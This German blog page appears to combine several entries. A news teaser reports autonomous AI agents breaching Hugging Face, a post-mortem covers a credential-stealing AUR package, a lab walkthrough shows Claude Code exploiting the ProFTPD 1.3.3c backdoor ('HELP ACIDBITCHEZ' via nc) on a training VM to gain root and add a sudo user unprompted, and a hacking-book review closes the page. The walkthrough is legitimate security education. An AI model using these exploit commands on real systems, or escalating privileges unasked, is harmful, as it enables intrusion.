Autonome KI-Agenten haben erstmals reale IT-Systeme kompromittiert. Betroffen waren unter anderem Hugging Face sowie drei weitere Organisationen. Die Vorfälle werfen neue Fragen zur Sicherheit moderner KI-Modelle auf. Den ersten bekannt gewordenen Vorfall meldete Hugging Face Mitte Juli. Nach Angaben des Unternehmens führte ein autonomer KI-Agent eigenständig Code aus und verschaffte sich Zugriff auf interne Systeme. […]
Mitte Juni 2026 wurden über 1500 AUR-Pakete kompromittiert (siehe auch den vorigen Blog-Beitrag zu diesem Thema). Es zeugt natürlich von großer Überheblichkeit, als Mitautor eines Hacking-Buches zu glauben, selbst immun gegen Angriffe zu sein. Ein Update zum falschen Zeitpunkt hat mich auf den Boden der Tatsachen zurückgeholt und mir — einen Tag vor Urlaubsantritt — eine Menge sinnloser Arbeit beschert. Ich habe Anthropic- und OpenAI-Keys widerrufen, die SSH-Keys des betroffenen Notebooks von diversen Servern und Dienstleistern gelöscht und unzählige Passwörter geändert. Sch***!
Heute habe ich, natürlich ohne das System neuerlich zu booten, eine Analyse gemacht. Im Prinzip:
Ich habe 60 AUR-Pakete gefunden. Nur eines davon (libgdata, eine veraltete GNOME-Bibliothek für den Zugriff auf Google-Dienste) wurde kompromittiert. Ich habe es nur Stunden nach der Manipulation, aber eben noch vor der Berichterstattung über den Hack installiert. Extremes Pech im Timing!
Dieser Blog-Beitrag ist der Versuch einer persönlichen Aufarbeitung. Was ist passiert? Warum ist es passiert? Und was kann ich daraus lernen?
Eines vorweg. Dieser Artikel ist keine Kritik am Arch-Linux-Projekt. Dieses hat immer klar kommuniziert, dass AUR-Pakete — wie der Name schon sagt (Arch User Repository) — von den Benutzern selbst gepflegt werden und keiner Kontrolle unterliegen. Wer solche Pakete installiert, ist selbst verantwortlich, mit allen — dieses Mal sehr unerfreulichen — Konsequenzen.
Auch Updates können gefährlich sein
Die Sicherheitsempfehlung schlechthin lautet: »Installieren Sie regelmäßig Updates.« Aber diese Regel gilt nur für Pakete aus offiziellen Quellen.
Für extern gepflegte Pakete wäre eine Cool-Down-Phase sinnvoll. Im Prinzip: »Mach ein Update aller offiziellen Pakete sowie eines aller extern gepflegten Pakete, sofern dieses Update zumindest 4 Tage alt ist«. (Über die genaue Zeitspanne kann man streiten.) Ich kenne allerdings keinen Paketmanager, der so eine Funktion bietet.
In die richtige Richtung gehen die Auto-Update-Funktionen von Debian und Ubuntu: Unter Debian werden per Default ausschließlich offizielle Debian-Sicherheitsupdates berücksichtigt (Datei /etc/apt/apt.conf.d/50unattended-upgrades). Sonstige Updates werden ignoriert und müssen manuell installiert werden. Ubuntu ist etwas liberaler und installiert alle Updates aus offiziellen Quellen (aber ebenfalls keine aus externen Quellen).
Kurz gesagt: Ein blindes Update über alle Pakete ist nur sinnvoll, wenn Sie sich über die Herkunft aller Pakete sicher sind. Vielleicht werde ich in zukünftigen Blog-Artikeln Tipps zusammenfassen, wie Updates feiner gesteuert werden können.
Wozu überhaupt nicht-offizielle Pakete?
Eine andere Sicherheitsempfehlung lautet: »Verwenden Sie nur offiziell gepflegte Pakete.« Dennoch hat praktisch jede Distribution zusätzliche Paketquellen:
Arch Linux: AUR
Debian: externe Debian-Repositories
Fedora: externe YUM-Paketquellen, COPR
RHEL + Klone: EPEL, Remi und andere externe YUM-Paketquellen
Ubuntu: externe Debian-Repositories, PPAs
Wenn externe Quellen unsicher sind, warum gibt es sie dann überhaupt? Weil sie manchmal der einzige und viel öfter der bequemste Weg sind, um Software zu installieren, die in den offiziellen Quellen fehlt. Für mich als Autor ist es wichtig, neue, nicht so bekannte Programme unkompliziert auszuprobieren. Viele Entwickler nutzen externe Pakete zur Installation von Tools, die nicht oder nur in veralteten Versionen zur Verfügung stehen. Schließlich fehlen kostenlose Programme mit kommerziellem Ursprung (also keine reine Open-Source-Software) wie Google Chrome in den offiziellen Quellen. Für »große« Distributionen gibt es zumeist »halb-offizielle« Pakete, aber für kleinere Distributionen wie Arch Linux sind Sie auf AUR-Pakete angewiesen.
Insofern ist der Rat, auf externe Quellen zu verzichten, für fortgeschrittene Benutzer und Software-Entwicklerinnen nur schwer umzusetzen.
Alles, worüber ich hier im Kontext von Linux-Paketen schreibe, gilt im Übrigen auch für die Erweiterungen/Bibliotheken aller wichtigen Programmiersprachen, Editoren und anderer Tools: also für Python-Module, NPM-Pakete, VSCode-Plugins etc. Der Überbegriff für Angriffe auf derartige Zusatzpakete lautet Software Supply Chain Attack (Lieferkettenangriff).
Weniger ist mehr
Für mich persönlich ist das AUR-Debakel ein Grund, die Nutzung externer Pakete viel stärker zu hinterfragen. Vorgenommen habe ich mir folgende Regeln:
So wenig externe Pakete wie möglich! (Gibt es geeignete Alternativen in den offiziellen Quellen?)
Ungenutzte externe Pakete deinstallieren. (Welche Pakete habe ich zwei, drei Monate nicht mehr gebraucht? Weg damit!)
Eine stärkere Differenzierung zwischen Test- und Work-Systemen.
Schadensminimierung
Der AUR-Angriff hat auf Authentifizierungsdaten abgezielt, also Keys, Tokens, Passwörter etc. aus allen erdenklichen Quellen (.ssh-Verzeichnis, Passwörter diverser Browser usw.) Eine sehr detaillierte Analyse der Malware finden Sie auf ioctl.fail.
In meinem Fall war das größte Problem die Passwortsynchronisation von Google Chrome. Ich speichere im Webbrowser viele Passwörter. Die Passwort-Synchronisation ist durch ein zusätzliches, persönliches Passwort geschützt. Bookmarks und Passwörter sollten also für Google unlesbar sein. Wenn ich ein neues System einrichte (Linux, Windows, macOS, iOS oder Android), installiere ich Google Chrome, melde mich bei Google an, gebe das Master-Passwort für Bookmarks und Passwörter ein und synchronisiere die Daten. Das geht blitzschnell und ist komfortabel. Aber es ist eben ein riesiger Single Point of Failure! Das Master-Passwort schützt mich vor einem Passwort-Hack bei Google, aber es hilft nicht, wenn der Angreifer die lokale Passwort-Datenbank (sqlite-Format) auslesen kann. Und genau das war beim AUR-Angriff der Fall.
Die Konsequenz: Ich werde in Zukunft die Anzahl der so synchronisierten Passwörter auf ein absolutes Minimum reduzieren und länger nicht benutzte Passwörter löschen bzw. woanders speichern. Der naheliegende Ort wäre natürlich ein Passwort-Manager. Ich muss aber gestehen, dass ich diesen Programmen gegenüber auch skeptisch bin. Sie ersetzen einen Single Point of Failure durch einen anderen. Wer mit plattformübergreifenden Tools positive Erfahrungen gemacht hat, darf seine/ihre Erfahrungen gerne in den Kommentaren teilen :-)
Einmal mehr die Distributionsfrage
Auf meinem Linux-Notebook werde ich die aktuelle Parallel-Installation von Arch Linux und CachyOS bei nächster Gelegenheit durch Fedora ersetzen. Ich habe das Notebook zuletzt fast nur noch unterwegs verwendet. Im Büro habe ich mit dem Framework Desktop eine attraktivere Alternative. Dort habe ich mich im Rahmen meiner KI-Arbeiten gut an Fedora gewöhnt.
Zu glauben, Fedora sei frei von den skizzierten Gefahren, wäre natürlich naiv. Aber vermutlich sind die Risiken bei großen, weit verbreiteten Distributionen mit kommerziellem Hintergrund (Fedora ist ja eine Art offizielle Spielwiese von Red Hat) doch geringer als bei kleineren Distributionen — auch, was weit verbreitete, aber eben inoffizielle Paketquellen für Zusatzpakete angeht. Alleine schon die Trennung über mehrere Einzel-Repos anstelle des zentralen AUR-Verzeichnisses ist schon ein Vorteil.
Der Abschied von Arch Linux fällt mir schwer. Ich empfinde das Rolling-Release-Modell äußerst attraktiv. Arch Linux hat über mehrere Jahre sehr gut für mich funktioniert. Aber ich werde auch in Zukunft nicht ganz ohne externe Pakete auskommen. Mit AUR habe ich mir die Finger einmal verbrannt. Diese Art der Verwaltung externer Pakete ist vielleicht doch zu liberal; Paketmanager wie yay oder paru verschleiern das Risiko zu sehr. Ein zweites Mal will ich dieses Risiko nicht eingehen.
Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial.
Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile.
Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation
Setup
Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können.
Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic.
Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken.
Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk.
In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen:
# in /etc/sudoers auf Kali Linux
aiadmin ALL=(ALL) NOPASSWD: ALL
Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist.
# Datei .ssh/config auf dem lokalen Rechner
Host kali
User aiadmin
Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet:
fedora$ ssh-copy-id aiadmin@kali
Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock).
kali$ sudo passwd -l aiadmin
Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden.
Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen.
Setup testen
Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren.
> There is a Kali Linux installation with hostname kali.
Try to connect via SSH. (OK ...)
> Kali can connect to host vtcsec. This is a VM designated
for penetration testing. ping to it! (OK ...)
Erste Prompts um das Setup zu testen
AI Assisted Hacking
Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke.
> Now do a proper port scan for vtcsec. Find out what
software is running.
(...) Here's what's running on vtcsec:
Port Service Version
21 FTP ProFTPD 1.3.3c
22 SSH OpenSSH 7.2p2 (Ubuntu)
80 HTTP Apache 2.4.18 (Ubuntu)
OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM.
Notable observations:
- ProFTPD 1.3.3c is a notably old version with
known vulnerabilities (including a backdoor in
certain distributions).
- OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs.
- Only 3 ports open, 997 closed — a fairly minimal attack surface.
Port-Scan durchführen
> Find exploits for ProFTPD.
(...) Here are the exploits found for ProFTPD 1.3.3:
Exploit
ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow
ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow
ProFTPd 1.3.3c - Compromised Source Backdoor
ProFTPd IAC 1.3.x - Remote Command Execution
ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit)
The most relevant one is the backdoor in ProFTPD 1.3.3c -
this is the infamous incident where the ProFTPD source code
was compromised, and a backdoor was inserted. It allows remote
command execution by sending HELP ACIDBITCHEZ to the FTP service.
There's both a manual exploit and a Metasploit module available.
Want me to try the backdoor exploit against vtcsec?
Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte.
> Yes, try it!
Bash(ssh kali "searchsploit -x linux/remote/15662.txt")
Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor
Remote Code Execution
URL: https://www.exploit-db.com/exploits/15662
Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt
Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname
\nuname -a\nexit\n" | nc -w 5 vtcsec 21')
The simple netcat approach didn't return command output.
Let me try with a proper interactive approach using Metasploit
or a Python script.
Bash(ssh kali 'python3 -c " ..." ')
Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48]
Response: uid=0(root) gid=0(root) groups=0(root)...
Response: vtcsec
Response: Linux vtcsec 4.10.0-28-generic
The backdoor exploit worked. Here's what we got:
- Access level: uid=0(root) — full root access
- Hostname: vtcsec
- Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04)
The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated
remote root shell with zero effort — no credentials, no authentication,
just a single FTP command. Want me to explore the system further or move
on to testing the other services?
ProFTPD-Backdoor ausnutzen
Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios!
Neuen Benutzer mit sudo-Rechten einrichten
Anmerkungen
Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet.
Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit.
Die Steuerung von Hacking-Tools via SSH stößt an ihre Grenzen, wenn es um die interaktive Bedienung von CLI-Tools oder um die Steuerung grafischer Benutzeroberflächen bzw. Web-Tools geht (z.B. Burp Suite, Empire Framework oder OpenVAS).
Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive …
„Hacking & Security: Das umfassende Handbuch“ von Michael Kofler, Roland Aigner, Klaus Gebeshuber, Thomas Hackner, Stefan Kania, Frank Neugebauer, Peter Kloep, Tobias Scheible, Aaron Siller, Matthias Wübbeling, Paul Zenker und André Zingsheim ist 2025 in der 4., aktualisierten und erweiterten Auflage im Rheinwerk Verlag erschienen und umfasst 1271 Seiten.
Ein Buchtitel, der bereits im Namen zwei gegensätzliche Extreme vereint: Hacking und Security. Dieser Lesestoff richtet sich nicht an ein breites Publikum, wohl aber an all jene, die Wert auf digitale Sicherheit legen – sei es im Internet, auf Servern, PCs, Notebooks oder mobilen Endgeräten. Gleichzeitig kann dieses umfassende Nachschlagewerk auch als Einstieg in eine Karriere im Bereich Ethical Hacking dienen.
Das Buch ist in drei inhaltlich spannende und klar strukturierte Teile gegliedert.
TEIL I – Einführung und Tools erläutert, warum es unerlässlich ist, sich sowohl mit Hacking als auch mit Security auseinanderzusetzen. Nur wer versteht, wie Angreifer vorgehen, kann seine Systeme gezielt absichern und Sicherheitsmaßnahmen umsetzen, die potenzielle Angriffe wirksam abwehren.
Behandelt werden unter anderem praxisnahe Übungsmöglichkeiten sowie Penetrationstests auf speziell dafür eingerichteten Testsystemen. Ziel ist es, typische Angriffsabläufe nachzuvollziehen und daraus wirksame Schutzkonzepte abzuleiten. Einen zentralen Stellenwert nimmt dabei das speziell für Sicherheitsanalysen entwickelte Betriebssystem Kali Linux ein, das in diesem Zusammenhang ausführlich vorgestellt wird.
Kali Linux – Simulation eines erfolgreichen Angriffs auf SSH
TEIL II – Hacking und Absicherung widmet sich intensiv den beiden zentralen Themenbereichen Hacking und Security. Es werden unterschiedliche Angriffsszenarien analysiert und typische Schwachstellen aufgezeigt. Besonders hervorgehoben wird dabei die Bedeutung der Festplattenverschlüsselung, um den unbefugten Zugriff auf sensible Daten zu verhindern.
Auch der Einsatz starker Passwörter in Kombination mit Zwei-Faktor-Authentifizierung (2FA) gehört heute zum Sicherheitsstandard. Dennoch lauern Gefahren im Alltag: Wird ein Rechner unbeaufsichtigt gelassen oder eine Sitzung nicht ordnungsgemäß beendet, kann etwa ein präparierter USB-Stick mit Schadsoftware gravierende Schäden verursachen.
Server-Betreiber stehen zudem unter permanentem Druck durch neue Bedrohungen aus dem Internet. Das Buch bietet praxisnahe Anleitungen zur Härtung von Windows- und Linux-Servern – beispielsweise durch den Einsatz von Tools wie Fail2Ban, das automatisiert Brute-Force-Angriffe erkennt und unterbindet.
Ein weiteres Kernthema ist die Verschlüsselung von Webverbindungen. Moderne Browser weisen inzwischen deutlich auf unsichere HTTP-Verbindungen hin. Die Übertragung sensibler Daten ohne HTTPS birgt erhebliche Risiken – etwa durch Man-in-the-Middle-Angriffe, bei denen Informationen abgefangen oder manipuliert werden können.
Abgerundet wird das Kapitel durch eine ausführliche Betrachtung von Angriffsmöglichkeiten auf weit verbreitete Content-Management-Systeme (CMS) wie WordPress, inklusive praxisnaher Hinweise zur Absicherung.
TEIL III – Cloud, Smartphones, IoT widmet sich der Sicherheit von Cloud-Systemen, mobilen Endgeräten und dem Internet of Things (IoT). Unter dem Leitsatz „Die Cloud ist der Computer eines anderen“ wird aufgezeigt, wie stark Nutzerinnen und Nutzer bei der Verwendung externer Dienste tatsächlich abhängig sind. Besonders bei Cloud-Angeboten amerikanischer Anbieter werden bestehende geopolitische Risiken oft unterschätzt – obwohl sie spätestens seit den Enthüllungen von Edward Snowden nicht mehr zu ignorieren sind.
Selbst wenn Rechenzentren innerhalb Europas genutzt werden, ist das kein Garant für Datenschutz. Der Zugriff durch Dritte – etwa durch Geheimdienste – bleibt unter bestimmten Umständen möglich. Als datenschutzfreundliche Alternative wird in diesem Kapitel Nextcloud vorgestellt: ein in Deutschland entwickeltes Cloud-System, das sich auf eigenen Servern betreiben lässt. Hinweise zur Installation und Konfiguration unterstützen den Einstieg in die selbstbestimmte Datenverwaltung.
Wer sich für mehr digitale Souveränität entscheidet, übernimmt zugleich Verantwortung – ein Aspekt, dem im Buch besondere Aufmerksamkeit gewidmet wird. Ergänzend werden praxisnahe Empfehlungen zur Absicherung durch Zwei- oder Multi-Faktor-Authentifizierung (2FA/MFA) gegeben.
Ein weiteres Thema sind Sicherheitsrisiken bei mobilen Geräten und IoT-Anwendungen. Besonders kritisch: schlecht gewartete IoT-Server, die oft im Ausland betrieben werden und ein hohes Angriffspotenzial aufweisen. Auch hier werden konkrete Gefahren und Schutzmaßnahmen anschaulich dargestellt.
Das Buch bietet einen fundierten und praxisnahen Einstieg in die Welt von IT-Sicherheit und Hacking. Es richtet sich gleichermaßen an interessierte Einsteiger als auch an fortgeschrittene Anwender, die ihre Kenntnisse vertiefen möchten. Besonders gelungen ist die Verbindung technischer Grundlagen mit konkreten Anwendungsszenarien – vom Einsatz sicherer Tools über das Absichern von Servern bis hin zur datenschutzfreundlichen Cloud-Lösung.
Wer sich ernsthaft mit Sicherheitsaspekten in der digitalen Welt auseinandersetzen möchte, findet in diesem Werk einen gut strukturierten Leitfaden, der nicht nur Wissen vermittelt, sondern auch zum eigenständigen Handeln motiviert. Ein empfehlenswertes Nachschlagewerk für alle, die digitale Souveränität nicht dem Zufall überlassen wollen.
Anmelden
